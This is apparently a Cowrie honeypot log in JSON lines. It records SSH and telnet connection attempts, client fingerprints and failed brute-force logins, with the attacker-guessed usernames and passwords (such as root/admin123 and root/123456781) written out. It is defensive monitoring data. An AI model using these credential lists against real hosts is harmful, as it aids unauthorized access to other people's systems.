{"eventid":"cowrie.login.failed","username":"brian_coinbase","password":"letmein123","message":"login attempt [brian_coinbase/letmein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:42.791298Z","src_ip":"85.215.121.209","session":"24ef642781d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a80bd33bc8","protocol":"ssh","message":"New connection: 113.125.165.132:40420 (10.17.0.5:22) [session: 41a80bd33bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:43.187536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:43.191460Z","src_ip":"113.125.165.132","session":"41a80bd33bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:43.425381Z","src_ip":"113.125.165.132","session":"41a80bd33bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:43.884377Z","src_ip":"85.215.121.209","session":"24ef642781d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456781","message":"login attempt [root/123456781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:44.396868Z","src_ip":"113.125.165.132","session":"41a80bd33bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25058,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b03572b3fa2","protocol":"ssh","message":"New connection: 5.196.136.131:25058 (10.17.0.5:22) [session: 9b03572b3fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:44.926865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:44.930258Z","src_ip":"5.196.136.131","session":"9b03572b3fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:45.007038Z","src_ip":"5.196.136.131","session":"9b03572b3fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:45.239135Z","src_ip":"5.196.136.131","session":"9b03572b3fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:45.632651Z","src_ip":"113.125.165.132","session":"41a80bd33bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.221.2","src_port":44574,"dst_ip":"10.17.0.5","dst_port":22,"session":"86792fcd108c","protocol":"ssh","message":"New connection: 202.29.221.2:44574 (10.17.0.5:22) [session: 86792fcd108c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:48.994409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:48.997864Z","src_ip":"202.29.221.2","session":"86792fcd108c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:49.244596Z","src_ip":"202.29.221.2","session":"86792fcd108c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025!@#","message":"login attempt [root/unitedstates2025!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:49.984442Z","src_ip":"202.29.221.2","session":"86792fcd108c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":47618,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c995eac97a5","protocol":"ssh","message":"New connection: 80.94.92.234:47618 (10.17.0.5:22) [session: 8c995eac97a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:50.123304Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":46526,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b1a8b24d8e","protocol":"ssh","message":"New connection: 192.169.197.250:46526 (10.17.0.5:22) [session: e7b1a8b24d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.065106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.068877Z","src_ip":"192.169.197.250","session":"e7b1a8b24d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.133608Z","src_ip":"192.169.197.250","session":"e7b1a8b24d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.232047Z","src_ip":"202.29.221.2","session":"86792fcd108c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kas","password":"kas123","message":"login attempt [kas/kas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.331017Z","src_ip":"192.169.197.250","session":"e7b1a8b24d8e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.391265Z","src_ip":"80.94.92.234","session":"8c995eac97a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:51.395364Z","src_ip":"80.94.92.234","session":"8c995eac97a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:52.398557Z","src_ip":"192.169.197.250","session":"e7b1a8b24d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:56.265261Z","src_ip":"80.94.92.234","session":"8c995eac97a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":47686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2b03ab92bdc","protocol":"telnet","message":"New connection: 154.90.70.69:47686 (159.203.135.109:23) [session: d2b03ab92bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:57.148863Z"}
{"eventid":"cowrie.session.closed","duration":0.0042057037353515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:57.152924Z","src_ip":"154.90.70.69","session":"d2b03ab92bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":47698,"dst_ip":"159.203.135.109","dst_port":23,"session":"73c4505c7782","protocol":"telnet","message":"New connection: 154.90.70.69:47698 (159.203.135.109:23) [session: 73c4505c7782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:57.225070Z"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:58.428739Z","src_ip":"80.94.92.234","session":"8c995eac97a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"e8ehome1","password":"e8ehome1","message":"login attempt [e8ehome1/e8ehome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:59.025961Z","src_ip":"154.90.70.69","session":"73c4505c7782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0013716220855713,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:00.226287Z","src_ip":"154.90.70.69","session":"73c4505c7782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":29028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef9835c8ef03","protocol":"ssh","message":"New connection: 178.128.39.166:29028 (159.203.135.109:22) [session: ef9835c8ef03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:01.165196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:01.188760Z","src_ip":"178.128.39.166","session":"ef9835c8ef03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:01.264189Z","src_ip":"178.128.39.166","session":"ef9835c8ef03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:01.670382Z","src_ip":"178.128.39.166","session":"ef9835c8ef03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:02.771384Z","src_ip":"178.128.39.166","session":"ef9835c8ef03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22008,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd86ea2962d4","protocol":"ssh","message":"New connection: 194.59.206.2:22008 (159.203.135.109:22) [session: bd86ea2962d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:05.849190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:05.876895Z","src_ip":"194.59.206.2","session":"bd86ea2962d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:05.945179Z","src_ip":"194.59.206.2","session":"bd86ea2962d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:06.116488Z","src_ip":"194.59.206.2","session":"bd86ea2962d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6008b90f42","protocol":"ssh","message":"New connection: 103.77.175.15:51682 (10.17.0.5:22) [session: dd6008b90f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:13.467177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:13.471111Z","src_ip":"103.77.175.15","session":"dd6008b90f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:13.694518Z","src_ip":"103.77.175.15","session":"dd6008b90f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuznecova","message":"login attempt [root/kuznecova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:14.356336Z","src_ip":"103.77.175.15","session":"dd6008b90f42","protocol":"ssh"}
